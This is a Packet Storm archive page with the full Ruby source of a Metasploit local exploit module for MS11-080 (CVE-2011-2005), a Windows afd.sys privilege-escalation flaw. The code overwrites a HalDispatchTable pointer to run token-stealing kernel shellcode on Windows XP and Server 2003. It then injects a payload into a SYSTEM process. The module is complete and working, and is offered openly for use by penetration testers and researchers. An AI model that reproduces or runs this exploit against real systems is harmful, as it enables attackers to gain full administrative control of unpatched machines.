exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MS11-080 AfdJoinLeaf Privilege Escalation

MS11-080 AfdJoinLeaf Privilege Escalation
Posted Oct 3, 2012
Authored by Matteo Memelli, Spencer McIntyre | Site metasploit.com

This Metasploit module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This Metasploit module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability.

tags | exploit, kernel, shellcode
advisories | CVE-2011-2005
SHA-256 | f6dc1203a74e12170988c31fabd455ab39d26e8231aa917f56967362c0509242

MS11-080 AfdJoinLeaf Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
# Average because this module relies on memory corruption within the
# kernel, this is inherently dangerous. Also if the payload casues
# the system process that it was injected into to die then it's also
# possible that the system may become unstable.

include Msf::Post::Common
include Msf::Post::Windows::Priv

def initialize(info={})
super(update_info(info, {
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
with a call to NtQueryIntervalProfile will execute shellcode.

This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process before restoring it's own token to
avoid causing system instability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ],

[ 'Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
],

[ 'Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'HalpSetSystemInformation' => 0x21c60,
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
],
],
'References' =>
[
[ 'CVE', '2011-2005' ],
[ 'MSB', 'MS11-080' ],
[ 'EDB', 18176 ],
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
],
'DisclosureDate'=> 'Nov 30 2011',
'DefaultTarget' => 0
}))

register_options([
])

end

def find_sys_base(drvname)
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end

# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == session.sys.process.getpid
next if p["pid"] == 4
next if p["user"] != system_account_name
return p
end
end

def exploit
if sysinfo["Architecture"] =~ /wow64/i
print_error("Running against WOW64 is not supported")
return
elsif sysinfo["Architectore"] =~ /x64/
print_error("Running against 64-bit systems is not supported")
return
end

mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo["OS"]
if os =~ /windows xp/i
mytarget = targets[1]
end
if ((os =~ /2003/) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
mytarget = targets[2]
end

if mytarget.name =~ /Automatic/
print_error("Could not identify the target system, it may not be supported")
return
end
print_status("Running against #{mytarget.name}")
end

if is_system?
print_error("This meterpreter session is already running as SYSTEM")
return
end

this_proc = session.sys.process.open
kernel_info = find_sys_base(nil)
base_addr = 0x1001
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
socket = result['return']

irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
irpstuff << rand_text_alpha(231)

if not this_proc.memory.writable?(0x1000)
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])

result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
end
if not this_proc.memory.writable?(0x1000)
print_error('Failed to properly allocate memory')
return
end
this_proc.memory.write(0x1000, irpstuff)

hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

halbase = find_sys_base("hal.dll")[0]
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")

#### Exploitation ####
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
halDispatchTable0x4 = halDispatchTable + 0x4
halDispatchTable0x8 = halDispatchTable + 0x8

restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")

tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
tokenstealing << "\x8b\xc8"
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
tokenstealing << "\x75\xe8"
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x8b\xc1"
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x10"

restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
restore_token << "\x8b\x15\x00\x09\x02\x00"
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"

shellcode = padding + restore_ptrs + tokenstealing

this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)

addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error("The socket is not in the correct state")
return
end

session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])

session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
])

print_status("Triggering AFDJoinLeaf pointer overwrite...")
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

if not is_system?
print_error("Exploit failed")
return
end

begin
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))

print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
host_process.memory.write(mem, payload.encoded)
host_process.thread.create(mem, 0)
rescue ::Exception => e
print_error("Failed to Inject Payload")
print_error(e.to_s)
end

# Restore the token because apparently BSODs are frowned upon
print_status("Restoring the original token...")
shellcode = padding + restore_ptrs + restore_token
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)

result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close